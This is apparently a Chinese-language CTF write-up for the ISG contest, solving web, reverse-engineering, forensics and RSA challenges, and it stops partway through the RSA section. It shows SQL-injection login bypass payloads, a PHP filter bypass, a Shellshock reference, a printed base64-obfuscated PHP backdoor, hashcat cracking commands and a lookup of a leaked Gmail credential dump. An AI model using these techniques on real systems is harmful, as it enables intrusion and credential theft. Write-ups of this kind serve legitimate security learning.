0×00 前言

好久没法文章了 主要是极客大挑战开始了之后 一直好累 有一篇 isg 和 xdctf 都没发

0×01 Web

web200 smile

访问之后出现一个提交框

查看一下源代码 点 XD 进去 可以看到 php 源码

http://202.120.7.104:8888/?view-source

```
01 <?php
02         if (isset($_GET['view-source'])) {
03                 show_source(__FILE__);
04                 exit();
05         }
06
07         include('flag.php');
08
09         $smile = 1;
10
11         if (!isset ($_GET['^_^'])) $smile = 0;
12         if (ereg ('\.', $_GET['^_^'])) $smile = 0;
13         if (ereg ('%', $_GET['^_^'])) $smile = 0;
14         if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
15         if (ereg ('http', $_GET['^_^']) ) $smile = 0;
16         if (ereg ('https', $_GET['^_^']) ) $smile = 0;
17         if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
18         if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
19         if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
20         if ($smile) {
21                 if (@file_exists ($_GET['^_^'])) $smile = 0;
22         }
23         if ($smile) {
```

```
24                  $smile = @file_get_contents ($_GET['^_^']);
25                  if ($smile === '(●'◡'●)') die($flag);
26          }
27 ?>
```

这里分析一下逻辑 就是要用 get 提交^_^让$smile 为一个字符串(●'◡'●) 并且能绕过那些过滤 一开始想了很久 过滤了下划线并不好绕过 后来才发现 ereg ('%', $_GET['^_^'])这里只是过滤了 GET 的值 对应的 GET 的键没有过滤 所以_可以用%5f 来进行 url 编码绕过 算是解决了第一步
然后还有一个传入的(●'◡'●)的问题 题目给出了提示 url 编码 这里上面过滤了那么多协议 明显是一种提示 LFI 中有种姿势读文件就是利用 php 伪协议
那么测试一下 php 伪协议 配合 url 编码
使用 burp 抓包 %28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29 url 编码

ISG{_1N2N3N4N5N6B7B8B9B10B_}

web200 Find Shell

访问题目之后，出现上传页面。上传一个 php 脚本试试。

成功上传，没找到路径。抓包发现提示。

按照这样的命名规则的话，文件名是十分的长。而且后面的 40 位是随机数 sha1 的。完全不可以预测的。还好以前在乌云看到这样的一篇文章。
[各大 CMS 厂商的 CMS 存在的同一设计缺陷]

通过 windows 的短文件命名规则可以访问到文件。然后来一发。

PS：73dce7 为上传文件名的 md5 的前 6 位。

web300 X-Area
描述：
限制区域，非请勿入！
http://202.120.7.110:8888
http://202.112.26.126:8888

进入 http://202.120.7.110:8888，要求输入用户名密码，测试 admin admin 等弱口令失败，取消后看到提示

看到一个 gmail 邮箱，查询手中的 Gmail 裤子

得到用户名密码
hack.the.life@gmail.com:zasada
登陆成功但是显示 Access DENIED!

查看源码

得到

```
01 Access DENIED!<!-- <?php
02 /*
03 I found a piece of hash from an old basic auth file.
04 Oops:$apr1$XZ6oHreE$rYRGk9cFLxm1hF4TAc0m50
05 That may be helpful.
06 It is said that in the password nums and Lowercase letter only.
07 Good luck!
08 */
09 $valid_passwords = array ("hack.the.life@gmail.com" => "zasada");
10 $valid_users = array_keys($valid_passwords);
11
12 $user = @$_SERVER['PHP_AUTH_USER'];
13 $pass = @$_SERVER['PHP_AUTH_PW'];
14
15 $validated = (in_array($user, $valid_users)) && ($pass ==
   $valid_passwords[$user]);
16
17 if (!$validated) {
18     header('WWW-Authenticate: Basic realm="X-Area"');
19     header('HTTP/1.0 401 Unauthorized');
20     die ("I don't think you are 'hack.the.life@gmail.com'. Get out!");
21 }
22
```

```
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgw
KTsKCmZ1bmN0aW9uIGR1Y3J5cHQoJGVuY3J5cHR1ZCwgJGtleSkKewoJJGtleT1tZDUo
JGtleSk7CiAgICAkY2lwaGVydGV4dF9kZWMgPSBwYWNrKCJIKiIsJGVuY3J5cHR1ZCk7
CiAgICAkbW9kdWxlID0gbWNyeXB0X21vZHVsZV9vcGVuKE1DUllQVF9SSUpOREFFTF8x
MjgsICcnLCBNQ1JZUFRfTU9ERV9DQkMsICcnKTsKICAgICRpdiA9IHN1YnN0cihtZDUo
JGtleSksMCxtY3J5cHRfZW5jX2dldF9pdl9zaXplKCRtb2R1bGUpKTsKICAgIG1jcnlw
dF9nZW5lcmljX2luaXQoJG1vZHVsZSwgJGtleSwgJGl2KTsKICAgICRCdCA9IG1kZWNyeXB0ZWQg
PSBtZGVjcnlwdF9nZW5lcmljKCRtb2R1bGUsICRjaXBoZXJ0ZXh0X2R1Yyk7CiAgICBt
Y3J5cHRfZ2VuZXJpY19kZWluaXQoJG1vZHVsZSk7CiAgICBtY3J5cHRfbW9kdWxlX2Ns
{b3NlKCRtb2R1bGUpOwogICAgcmV0dXJuIHJ0cmltKCRkZWNyeXB0ZWQsIlwwIik7CnOK
{CmlmKEAkX1JFUVVFU1RbJ2tleSddKXsKCSRrZXk9JF9SRVFVRVNUWydrZXknXTsKCWVj
aG8gZXZhbCh+J5qcl5Dfmomek9ebmpyNho+L193OyJ2bzZyanp2am8zKns7Pz5mZnJuZ
yp2bm8bPzpmems7OxsrHypzJncrLyc7Nm8bHz8vMy8jKns6ZxpqdnJvGxsvPx86ZnJ7N
nczLx57JzsvMz8jLycrKyprInM2dyMjKzJnPzcadysedz87IxpydzZvOzsidnc/Kmc7M
y5zNm57NmcnPxp3OzMzMys7OmZzIyMidmZ3PxpzNnMycx8uczZqdxpmcms/Mzp3Gxs7L
yczJxpucmc2emsfNy8nJx8mby5qezJmbzcbOycidyciczMzPzMqdncuezcjKmsaanJ3I
zsaczMidyc+Zyp2azZnNzZzJxpyazcvGyciam5zOncrGyJ7NxsedmZnGz8qbmZqamsbI
nsyezciZnpnIxp3Myp7HzMrHx8jPz5mdz8/Kz8vOnJqans3HyJuamcvHnsiemZmdx8zO
x52dm8bHmsadnZ2ezcbJm52Zm57Gm8/O3dPf25SahtbWxCcpOwp9ZWxzZXsKCWVjaG8g
IkFjY2VzcyBERU5JRUQhIjsKfQ=='));
```

```
24 echo '<!-- ';
25 echo file_get_contents(__FILE__);
```

将中间 base64 加密部分解码

注意到 echo eval(~’ 的部分，想到之前有看过取反输出的 php 后门，于是把这段输出出来

得到

```
echo
eval(decrypt("17bd2ceabed35a100ffcdf5bdd901fae119585c6b54612d98043475
5a1f9ebcd994081fca2b348a61430746555e7c2b7753f029b58b0179cb2d117bb05f
134c2da2f609b1333511fc777bfb09c2c3c84c2eb9fce031b99146369dcf2ae82466
86d4ea3fd29167b67c33035bb4a275e9ecb719c37b60f5be2f22c69ce24967edc1b5
97a298bff905dfeee97a3a27faf79b35a83588700fb005041ceea287def48a7affb8
318bbd98e9bbba296dbfda9d01", $key));
```

是个解密的函数，结合之前的代码，得到

```
<?php
        function decrypt($encrypted, $key)
        {
                $key=md5($key);
                $ciphertext_dec = pack("H*",$encrypted);
                $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'', MCRYPT_MODE_CBC, '');
                $iv = substr(md5($key),0,mcrypt_enc_get_iv_size($module));
                mcrypt_generic_init($module, $key, $iv);
                $decrypted = mdecrypt_generic($module, $ciphertext_dec);
                mcrypt_generic_deinit($module);
                mcrypt_module_close($module);
                return rtrim($decrypted,"\0");
        }
        echo(decrypt("17bd2ceabed35a100ffcdf5bdd901fae119585c6b54612d98043475a1f9ebcd994081fca2b348a61430746555e7c2b7753f029b58b0179cb2d1117bb05f134c2da2f609b1333511fc777bfb09c2c3c84c2eb9fce031b99146369dcf42ae8246686d4ea3fd29167b67c33035bb4a275e9ecb719c37b60f5be2f22c69ce24967edc1b597a298bff905dfeee97a3a27faf79b35a83588700fb005041ceea287def48a7affb8318bbd98e9bbba296dbfda9d01", $key));
?>
```

这里需要一个 key 值，看之前的提示，
0ops:$apr1$XZ6oHreE$rYRGk9cFLxm1hF4TAc0m50
使用 hashcat 进行 GPU 破解
参考资料：
GPU 破解神器 Hashcat 使用简介
将需要破解的内容保存为 1.txt

查表得到加密类型

使用 cudaHashcat64.exe –hash-type 1600 –attack-mode 3 –increment –increment-max 8 –custom-charset1 ?l?d d:1.txt ?1?1?1?1?1?1?1?1
解出 key：5s41t

最终通过

```
<?php
        function decrypt($encrypted, $key)
        {
                $key=md5($key);
                $ciphertext_dec = pack("H*",$encrypted);
                $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'', MCRYPT_MODE_CBC, '');
                $iv = substr(md5($key),0,mcrypt_enc_get_iv_size($module));
                mcrypt_generic_init($module, $key, $iv);
                $decrypted = mdecrypt_generic($module, $ciphertext_dec);
                mcrypt_generic_deinit($module);
                mcrypt_module_close($module);
                return rtrim($decrypted,"\0");
        }

        $key = "5s41t";
        echo(decrypt("17bd2ceabed35a100ffcdf5bdd901fae119585c6b54612d98043475a1f9ebcd994081fca2b348a61430746555e7c2b7753f029b58b0179cb2d117bb05f134c2da2f609b1333511fc777bfb09c2c3c84c2eb9fce031b99146369dcf2ae8246686d4ea3fd29167b67c33035bb4a275e9ecb719c37b60f5be2f22c69ce24967edc1b597a298bff905dfeee97a3a27faf79b35a83588700fb005041ceea287def48a7affb8318bbd98e9bbba296dbfda9d01", $key));
?>
```

得到 **ISG{tHe_MaGic_pHP_S0UrCE_c0D3}**

web400 Safesite

描述：

这是一个非常安全的网站，该如何拿到 flag 呢 ？

http://202.120.7.109:8888

http://202.112.26.124:8888

*注意：在服务器的 8888 端口绑定了 reallysafesite.org 的相关域名

根据提示，判断这个 ip 绑定了某个 reallysafesite.org 的二级域名，先在本地 hosts 中添加记录

访问 www.reallysafesite.org 使用 burp 抓包，获得向 202.120.7.109 的 GET 包

使用 dnsenum 的二级域名字典，然后使用 burp 进行爆破

发现 admin.reallysafesite.org:8888 返回 302
为方便，在本地 hosts 中添加记录
202.120.7.109 admin.reallysafesite.org，然后访问

测试 admin’ 发现注入，使用 burp 抓到 post 数据包

保存为 sql 文件，使用 sqlmap 进行 post 注入
分别得到

```
01 available databases [4]:
02 [*] information_schema
03 [*] mysql
04 [*] performance_schema
05 [*] safesite
06
07 Database: safesite
08 [1 table]
09 +-----------+
10 | isg_admin |
11 +-----------+
12
13 Database: safesite
14 Table: isg_admin
15 [4 columns]
16 +----------+-----------------+
```

```
| Column     | Type                          |
+----------+-----------------+
| info         | varchar(200)         |
| password | varchar(64)           |
| uid           | int(10) unsigned |
| username | varchar(32)           |
+----------+-----------------+

Database: safesite
Table: isg_admin
[1 entry]
+-----+----------------------------+----------+------------------
----------------+
| uid | info                                                    |
username |
password                                                  |
+-----+----------------------------+----------+------------------
----------------+
| 1     | login and capture the flag! | admin       |
86c969bebab9cfeb47efcc65d85f26c5 |
+-----+----------------------------+----------+------------------
----------------+
```

然后登陆框处
判断查询列数 abc' and sleep(5) order by *#
*为 4 和 5 时返回不同，判断为 4 列

自设密码 abc md5 后得到'900150983cd24fb0d6963f7d28e17f72'
因为无法判断查询的密码在哪一列，那就都试试

```
abc' union select
'900150983cd24fb0d6963f7d28e17f72','admin','admin','admin'#

abc' union select
'admin','900150983cd24fb0d6963f7d28e17f72','admin','admin'#

 abc' union select
'admin','admin','900150983cd24fb0d6963f7d28e17f72','admin'#
      ==>登陆成功,密码在第三列

abc' union select
'admin','admin','admin','900150983cd24fb0d6963f7d28e17f72'#
```

看到 cookie 设置为
Cookie: u=admin; p=b349e67445488ae1fad84633400057e759a46fb3
将得到的 p 值扔到 cmd5 解密

发现是 abc md5 加密后再进行 sha1 加密
猜测是登陆后还要验证 cookie
于是将之前注入得到的 admin 用户的 MD5 密码再进行一次 sha1 加密，得到
0fa2bf55d6cb9714da177d9c59e22e51d796ab43

然后修改 GET /index.php 的包中的 cookie 为这串字符串

得到 flag

web100 Up-to-date
描述：
每周更新服务器，以确保 flag.txt 安全。
http://202.112.26.125:8888/
http://202.120.7.112:8888/

送分题，刚出时一段时间大家都没做出来，大家都有点蒙，后来看主办方强调是送分题，结合描述中的每周更新服务器，猜测是刚出的 bash 漏洞
姿势在 CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis
直接用原文的语句，修改一下

得到 flag

0×02 Reverse
Reverse100 wangrange
格朗很喜欢外国算术。

IDA 分析：

在 Sub_401270 中， 讲输入的字符串进行运算得到 4 个值， 作为下一轮解密运算的 KEY。

在 sub_ 4013A0 中，程序将得到 4 个值的 ASCII 分别 +18 添加到 32 个固定字符串的头部，然后调用 sub_4010D0(&Dest) 来解密得到一个字符， 最终生产的 Text 就是程序弹出的内容。

这个也是一样，写程序跑。 我是直接用 IDA 里 代码来枚举的。
一个关键点就是前 4 个字符 是 ISG{

```
001 #include <stdio.h>
002 #include <stdlib.h>
003 #include <string.h>
004 #include <windows.h>
005 int p[10];
006 unsigned int v3[2];
007 int __cdecl sub_401000(signed int a1, signed int a2, char a3)
008 {
009     int v4; // [sp+4h] [bp-4h]@0
010
011     switch ( a3 )
012     {
013         case 'P':
014             v4 = a2 + a1;
015             break;
016         case 'M':
017             v4 = a1 - a2;
018             break;
019         case 'U':
020             v4 = a2 * a1;
021             break;
022         case 'V':
023             if ( !a2 )
024                 a2 = 1;
```

```
025             v4 = a1 / a2;
026             break;
027         case 'X':
028             v4 = a2 ^ a1;
029             break;
030         default:
031             return v4;
032     }
033     return v4;
034 }
035
036 int __cdecl sub_4010A0(char a1)
037 {
038     return a1 >= 65 && a1 < 75;
039 }
040
041 signed int __cdecl sub_4010D0(const char *a1)
042 {
043
044     char v2; // [sp+13h] [bp-1Dh]@3
045     int v5; // [sp+1Ch] [bp-14h]@1
046     unsigned int v6; // [sp+20h] [bp-10h]@1
047     int v7; // [sp+24h] [bp-Ch]@1
048     unsigned int v8; // [sp+28h] [bp-8h]@1
049     char v9; // [sp+2Fh] [bp-1h]@9
050
051     v5 = 2;
052     v8 = 0;
053     v6 = strlen(a1);
054     v7 = 0;
055     v3[0] = 0;
056     v3[1] = 0;
057
058     while ( (signed int)v8 <= (signed int)v6 )
```

```
059     {
060         v2 = a1[v8];
061         if ( v7 >= 2 )
062             return -1;
063         if ( (unsigned __int8)sub_4010A0(v2) )
064         {
065             v3[v7] *= 10;
066             v3[v7] = v2 + v3[v7] - 65;
067         }
068         else
069         {
070             if ( v2 )
071             {
072                 if ( v2 != 80 && v2 != 86 && v2 != 77 && v2 != 85 &&
v2 != 88 )
073                 {
074                     if ( v2 == 32 )
075                         ++v7;
076                 }
077                 else
078                 {
079                     v9 = v2;
080                 }
081             }
082             else
083             {
084                 if ( v7 > 1 )
085                 {
086                     v3[0] = sub_401000(v3[0], v3[1], v9);
087 //                   printf("\n%d\n",v3[0]);
088                     v3[1] = 0;
089                     --v7;
090                 }
091             }
```

```
092         }
093         if ( v7 > 1 )
094         {
095             v3[0] = sub_401000(v3[0], v3[1], v9);
096             v3[1] = 0;
097 //           printf("\n%x\n",v3[0]%0x100);
098             --v7;
099         }
100         ++v8;
101     }
102 //   printf("\n%x\n",v3[0]%0x100);
103     return (v3[0]%0x100);
104 }
105
106 int __cdecl sub_401250(char a1, char a2)
107 {
108     return (a1 >> 2 * a2) & 3;
109 }
110
111 char sub_401270(char a1[])
112 {
113         int i,j;
114         char v6=0;
115         int v1;
116         int len=strlen(a1);
117         for(i=0;i<len;i++)
118                 v6^=a1[i];
119         for(j=0;j<4;j++)
120         {
121                 v1 = sub_401250(v6,j) + 4*len;
122                 p[j]=v1;
123         }
124 }
125
```

```
126 void cal_key(char str[],char key)
127 {
128         int i,j;
129         char t;
130         for(i=0x20;i<=0x6F;i++)
131                         for(j=0x20;j<=0x6F;j++)
132                         {
133                                 str[1]=i;
134                                 str[2]=j;
135                                 t=sub_4010D0(str);
136                                 if(t==key)
137                                 {
138                                 //       printf("find!");
139                                         printf("%c -> %c %c \n",key,i-17,j-17);
140                                 }
141                         }
142
143 }
144 int main()
145 {
146         char str1[]="PBG CBI PHJ MJH MIJ XBBH MBAE XFC MBBI XBAA XIH XGA XGG ";
147         char str2[]="PBH GJ MBCF XED MDI PEI PFC XHB MEJ PDG XFC PGE ";
148         char str3[]="PAA JE XGH XBAI MBCC XII PFB MHH XBCC PDI PFC XHE MFG XGF ";
149         char str4[]="PAA MGD PBCH MHE XBAE PFH XHF PBCD MFE XIG PDE PHJ XBBA PDE XJH XGG PIJ XFG XJA PEG PGE ";
150         cal_key(str1,'I');
151         cal_key(str2,'S');
152         cal_key(str3,'G');
153         cal_key(str4,'{');
154
155         return 0;
```

156 }

这样就可以得到 4 个 整形值， 84,86,85,87 对应的 16 进制就是 54,56,55,57
然后直接 OD 载入修改整型值 ，

运行一下出 KEY

KEY: ISG{Ppp0oo01i5h_pR3f1x_N0ta7iOn}

Reverse 200 TRAC4!
洗衣 hu 在洗衣服的时候从衣服里洗出了一条 trace！
初看之下，看多这么多汇编人都昏了，后来慢慢看，沉住气，还是看得出来了。
在一些 CALL，JMP 跳转 加上一些换行讲代码分割成小部分就稍微好看一些。
程序开头有一个 CALL 401060 ， 作用就是对 0x40a000 进行了一堆赋值。

1 0x40a000
2 74 44 52 56 68 6c 78 4e 2b 79 63 51 59 47 4b 61
3 58 30 34 38 41 50 42 55 69 33 4d 72 54 49 56 36
4 32 57 62 4f 77 5a 73 35 31 37 39 76 6e 75 2f 4a
5 7a 6f 6b 53 43 66 70 65 67 64 6d 71 4c 6a 45 48
6 00

其中有一个 jz401083, 我们可以通过查找找到下一步

然后在 00401031 这里又有一堆赋值。

1 0x0012ff44

2 4e475034 31495356 36503834 36475559

3 6f4c6c47 41473572 46503554 7a777849

4 436a5a72 4f304f41 3d436559 00

在后面的

这里是一个长度检查。

通过这几句

我们可以找到 401083

然后在后面有一个循环

在 00401211 的 jnz 401218, 是一个关键点。 跳出循环后有一个对应的字符赋值。

其中 00401197 的赋值 49 刚好是 'I', 猜测这可能会是 ISG 的 FLAG，

然后我们可以找剩下赋值

可以找到 KEY ： **ISG{7hI5_1s_4_1nsTruCti0n_tR4c3}**

0×03 Misc
misc100 sqlmap

把包下载下来 然后 wireshark 打开
然后 Filter http 只留下 http 包 因为 sqlmap 也是模仿的网页的提交 http 请求 所以这样子可以看到 sqlmap 发出去的包
观察一下 可以看到是在 sqlmap 跑一个盲注的时候抓的包 sqlmap 会利用二分法来做 所以还是比较好判断的 只要用过 sqlmap 了解盲注的原理还是很好做的

就是 flag 有点长
从 808 的包开始

观察最后一个包

```
Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM
1 isg.flags ORDER BY `value` LIMIT 0,1),1,1))>73:
```

如果是无回显的话 就是 73

```
 Message #1 AND ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM
1 isg.flags ORDER BY `value` LIMIT 0,1),6,1))>75: The quick brown fox
  jumps over the lazy dog
```

如果最后一个包是有回显的话 就是要加上 1

然后把 ascii 码保存一下

```
73 83 71 123 66 76 105 110 100 95 83 81 108 95 73 110 74 69 99 84 105
1 48 78 95 68 101 84 69 99 84 69 100 125
```

转成 ascii
ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}

misc100 chopper

还是给了一个 pcap 的包 然后需要 wireshark 打开
这里是一个抓了中国菜刀的包 包比起 sqlmap 那题是非常少的
Filter:http 过滤一下
发现他写了一个小马 还有在最后一个包 36 里有一个文件
File-Export Object-HTTP 提取出文件来

然后研究了一下菜刀的格式 是会在头和尾加上->| |<- 把这两个去掉
保存一下 然后在 linux 下 file 一下看看文件格式 其实熟悉的看看 1F8B 也知道了

看到是一个 gz 的文件 改成 gz 的后缀 用 7z 打开

发现有个文件

在里面就能找到一个 flag
ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}

misc200 哼!

得到一张 png 的图片
png 的图片 就怕里面插个什么 rar 之类的 先用 linux 下的 binwalk 命令跑一发

跑一发 发现了有两个 PNG 图片
然后确定了偏移是 0x1D55DC 用 winhex 把图片扣出来 保存成 2.png 原来的图 final.png 删除后面那的一部分 保存成 1.png

这样子就得到 1.png 和 2.png 然后打开看看 发现是一样的图片 用 linux 下的命令

```
1 compare 1.png 2.png diff.png
```

观察一下

发现了左下的第二条像素有异常 对比一下 1.png 2.png 发现了 2.png 有问题
那么我们可以用一个神器来辅助 stegsolve.jar

然后再把利用 Analyse-Image Combiner

把 1.png 和 2.png 进行一下 sub 方法 把结果保存成 solved.bmp

然后把 2.png 保存成 2.bmp 24 位位图的格式 这个是因为 png 图片经过了压缩 不好直接对比每个字节 而 bmp 图片是没有压缩的 直接就是明文保存是各个像数点
这个题还有一个坑点就是偏移的问题 png 图片的扫描是从左向右 从下往上来的。
而这个图的信息隐藏并没有在一开头的像数 而是是第二行像数 所以就需要利

用 bmp 的优势 寻找到偏移 找到信息隐藏的地方
利用 winhex 打开 黑色的在 bmp 中的 00 我们就寻找不是 00 的地方
在偏移 0×1110 的地方可以发现

有不是 00 的字节 一开始还以为这些就是 flag 的信息了 后来才发现是因为 sub 影响到了效果
所以打开 2.bmp 对比 寻找到 0×1110 的地方 到 0×1330 结束

对比 2.bmp 可以发现隐藏了一些 00 01 这些信息 把这一部分扣出来

```
00B66101B66100B56000B56001B56000B56000B45F01B45F00B45F01B45F00B35E01
B35E00B35E00B35E01B35E01B15F00B05E01B25D00B25D00B25C00B35B01B35B01B3
5B01B35A00B35A01B35A01B35A01B35A01B35A00B35A01B35A01B25B00B25B01B25B
00B25B00B25B00B35C01B35C00B35C01B25C00B25C00B35D01B35D01B35D00B35D01
B45E00B45E00B55F00B55F01B55F01B55F01B55F00B55F00B55F01B55F01B35E00B3
5E01B25D00B25D01B25D01B25D00B15C00B15C01B45E00B45E01B35D00B35C01B25B
01B15901B05801B05801B15900B15901B15900B15901B15900B15900B15901B15901
B15900B15901B15901B15901B15900B15901B15900B15900B15900B15901B15900B1
5900B15900B15901B15900B15901B15C00B15B01B05C01B15C00AF5D00B05D01AF5E
01AF5E01AA5D00AD5F00B05F01B26101B46000B75F01B75E00B65E00B35B00B35B01
B35B01B25A00B25A01B15901B15901B15900B25A00B25A00B25A01B25A01B25A00B2
5A00B25A00B25A00B25A00B25A01B25A01B25A00B25A00B25A01B25A01B25A01B25A
00B25A01B25A00B25A01B25A00B25A00B25A01B25A00B25A00B25A00B25A01B25A01
B25A00B25A01B25A00B25A00B15900B15901B15901B15901B15900B15900B15900B1
5900B15900B15901B15900B15900B15901B15900B15900B15900B25A00B25A01B25A
01B25A01B25A01B25A00B25A00B25A01B25A00B25A01B25A01B25A01B25A01B25A01
B25A00B25A01B25A
```

然后利用正则 b.5. 过滤除了 01 以外的信息 只保留 00 01 这个是因为 RGB 的关系 只隐藏在 R 通道里面了 其他通道都是图片的正常信息 过滤掉就可以了

```
000100000100000100010001000001010001000000010101000101010100010100010
000000010001000001010001000000010101000001010001000101000001000100010
010101010001000100000101000101010001000000010000000100010001010000010
010100000101000100000001010001010100000001010000000000010100000101010
000100010000001000000001010001000000010101000000000001000001000000000010
010101000001000101010101000 1
```

然后在吧 00 替换成 0 01 替换成 1

01001001010100110100011101111011010001010011010001110011010110010101
11111010100110111010001000101011001110011010001101110001100000110011 1
01010010001101000111000001001000011110010111110 1

然后就得到了这个 使用 JPK

binary-binary format

binary-binary to ascii
得到了 flag
ISG{E4sY_StEg4n0gR4pHy}

misc50 GIF

这个题比较简单 秒了
http://202.120.7.253/upload/isg.gif
题目给了一个 isg 的 gif 图片
我们下下来 gif 是动态图 这种的隐写一般都是隐藏在别的帧里面 然后设置时间长一些 很久才播放 导致隐藏的信息看不到 就像是静态的图一样
用工具分解一下图片
发现了第二帧有一个二维码 扫描一下

二维码在线解码
解码一下 得到了 flag
ISG{Solv3d_iN_SEConds_WiTH_RiGHT_T00Ls}

misc200 afere

拿到一个 apk 尝试改成 zip 解压它

居然有密码 想爆破一下发现不对 貌似是伪加密。
用 python 脚本把 dex 提取出来。

然后 jeb 打开 dex,这里算法已经很明显了，变种的 base64 加密。

于是写个函数求得 a 的反向索引表

然后写个解密函数：

可以得到加密后的字符串：

DES 解密后得到 FLAG:**ISG{f4kE3ncRyP710n!50ld}**

misc25 0ops
这个就是个送分题 是在最后才出来的一个题目 是回答调查问卷 然后就可以拿到 flag 的

0×04 Crypto
crypto100 Cryptobaby
talentyange 搞到了一个小程序，但是不知道密码，你能帮帮他吗？
IDA 分析：

算法比较清晰，然后写个程序来枚举下。

```
01 #include <stdio.h>
02 #include <stdlib.h>
03
04 int check(char str1[])
05 {
06         int v4=0;
07         int i;
08         for(i=0;i<4;i++)
09         {
10                 v4=str1[i]+0x83*v4;
11         }
```

```
12          return v4;
13 }
14 int main()
15 {
16          //freopen("out.txt","w",stdout);
17          char str1[10];
18          int key[]={0x0d50ade5,0x0e302789,0x0ed66f1f,0x0cd463ff,0x0e0d94dd,0x0fa4461f,0x0cd91da2};
19          int i,j,k,l;
20
21          int p=0;
22          int m;
23          for(m=0;m<7;m++)
24                  for(i=0x20;i<=0x79;i++)
25                          for(j=0x20;j<=0x79;j++)
26                                  for(k=0x20;k<=0x79;k++)
27                                          for(l=0x20;l<=0x79;l++)
28                                          {
29                                                  str1[0]=i;
30                                                  str1[1]=j;
31                                                  str1[2]=k;
32                                                  str1[3]=l;
33                                                  str1[4]=0;
34                                                  if(check(str1)==key[p])
35                                                  {
36                                                          printf("%s",str1);
37                                                          p++;
38                                                          if(p>6)
return 0;
39                                                  }
40
41                                          }
```

```
42          return 0;
43 }
```

然后得到 KEY **ISG{c011isi0n_is_a_thre4t_t0_sec}**

crypto250 RSA SYSTEM

一道 RSA 的密码学问题
http://202.120.7.253/upload/rsasystem.txt
访问一下 发现有一个进行 RSA 加密的东西
nc 202.120.7.71 43434 在服务器上进行交互

可以进行 RSA 加解密
还有一个 debug 功能
之前做过 0ctf 和 bctf 都遇到过 RSA 加密的题
0ops CTF/0CTF writeup
参考了一下这个题
然后研究了一下 发现我们可以先把 N 算出来

```
01 Input Plaintext:
02 3
03 Your ciphertext:
 588855692320105885141997185606302455643757495105735618514782478629304224787543984139165014417346725625564389600250406389301286123232013383585283779796478204707704759515497703600246657523446151320116129609192922062447385420187405388712737456981188041849341483874753513222829919744674197461530792319441870756224
05
06 Input Plaintext:
07 5
08 Your ciphertext:
 986560226898411733968435995036379067709387715219094102029177880008939220984531583891693978399920620965498342450320931846936353541111494656938399295621808464752473168281480762859307736015969307518036215724912363546257554160637285533480326907954620372198339207179628898447291499246909272990004503673968171017540
10
11 Input Plaintext:
12 15
```

Your ciphertext:

89136403960909381524748983541651585629123750890346371261159589198546
53832266999690372221177889194480147435211510708325960130847096748709
36781074183148940250978747771739860081674301246982433747345291117886
69495899658729668948176168798232739924797744912946144176728331877877
36227707275403626721277312820758403 5

15

16 3^e mod N = x

17 5^e mod N = y

18 15^e mod N = z

19 a = (x*y)-z =

58094160542574498998410895286189596275075848709900421609174259991150
23316826202749459828683484626419375272088492237697836453626150924628
84589278678192586259474673819175106754757057730633082230719739999499
31045295844768566861771377958471557842987672269468590599538194308692
23506247545187342216717567131897746825952136776128537744385696369358 7
24450714777536131708707443862166006880078676521183287717891640438925
04241049031872280759924017463988775171757353503442956616624035606562
18006560066259437139886930918384532552913459887861130115114427905821
87361512999510843585886448394612649708056265275028524009053677865925
6953

21

22

2 ----------

3 ----------

24 Input Plaintext:

25 2

26 Your ciphertext:

18877414991073471328358552734684946036056197908879813680414167733080
76487542700036241240002512056427528988228169809869537199007690196420
36239457926073384140607205201055125309064242436192066625936296684184
29352625560725666966624562851285175599560460204754980459839448773022
64170605554275021034867776925036076 3

28

29 Input Plaintext:

30 7

31 Your ciphertext:

3111454628938263521191371495060185339234370850692912383312762463327 28

2522691607154045616577798751643733395081149065165428594404853001349919548011781845124534296973907361605666483362447294571262062334984761999118502829783566316038496025067855116776508735490961037339054938854542866646140368096090992588445621242233

34 Input Plaintext:

35 14

36 Your ciphertext:

725656354601941036652457256393114598357578328404235434457578074750937256788136929320085808073899437355739797659067668003006643380292757337787498552791436591003816300028780468174781637939987015423952164129443326335058455212607779721452148404756160854055344050866434123150228417399302902098652796843712666278663839

40 2^e mod N = x

41 7^e mod N = y

42 14^e mod N = z

43 b = (x*y)-z =

2103975283143706928086246253614221685011761207531721521045884802717034406266432331980072957121248873832892985988585697740985643149690717617405845247336781323235995271216304926526105706219446512992151674236024180777998041661237400200330754561161867044329480809266885587112138899909004114433667441606880174098297388108235673064820166938483659078158677812376325067063501738357933102110385962588406797358220865829452786142270922847236717239231012133287230995661379076433022246800129510866395749737125098176603862344638479918623944012371011044131214049676935436875327340257651670551402782305091284424898919269328795370120

算出 a b 后 可以 gcd 算出 N
这里个 python 脚本

```
01 def gcd(a,b):
02         while b:
03                 a,b = b , a%b
04         return a
05
(a =
```

(5809416054257449899841089528618959627507584870990042160917425999115023316826202749459828683484626419375272088492237697836453626150924628845892786781925862594746738191751067547570577306330822307197399994993104529584476856686177137795847155784298767226946859059953819430869235062475451873422167175671318977468259521367761285377443856963693587244507147775361317087074438621660068800786765211832877178916404389250424104903187228075992401746398877517175735350344295661662403560656218006560066259437139886930918384532552913459887861130115114427905821873615129995108435858864483946126497080562652750285240090536778659256953

b =
21039752831437069280862462536142216850117612075317215210458848027170344062664323319800729571212488738328929859885856977409856431496907176174058452473367813232359952712163049265261057062194465129921516742360241807779980416612374002003307545611618670443294808092668855871121(,38899909004114433667441606880174098297388108235673064820166938483659'078158677812376325067063501738357933102110385962588406797358220865829452786142270922847236717239231012133287230995661379076433022246800129510866395749737125098176603862344638479918623944012371011044131214049676935436875327340257651670551402782305091284424898919269328795370120

08

09 print gcd(a,b)

10

N=
16329992359472583782206546602425228836996834516611429677526739867413152032323993690970662319117039328766857872009538043679992194046522775107051132477767780777171583401548512406822302682440462953734186505877480309334593204565155837915080069002132147202319079756766392254726664638975415908872910181448796479878521

然后我们利用同余式的一个性质
若 a % N = A 且 b % N = B，那么有(ab) % N = (AB) % N
观察代码 debug 功能

```
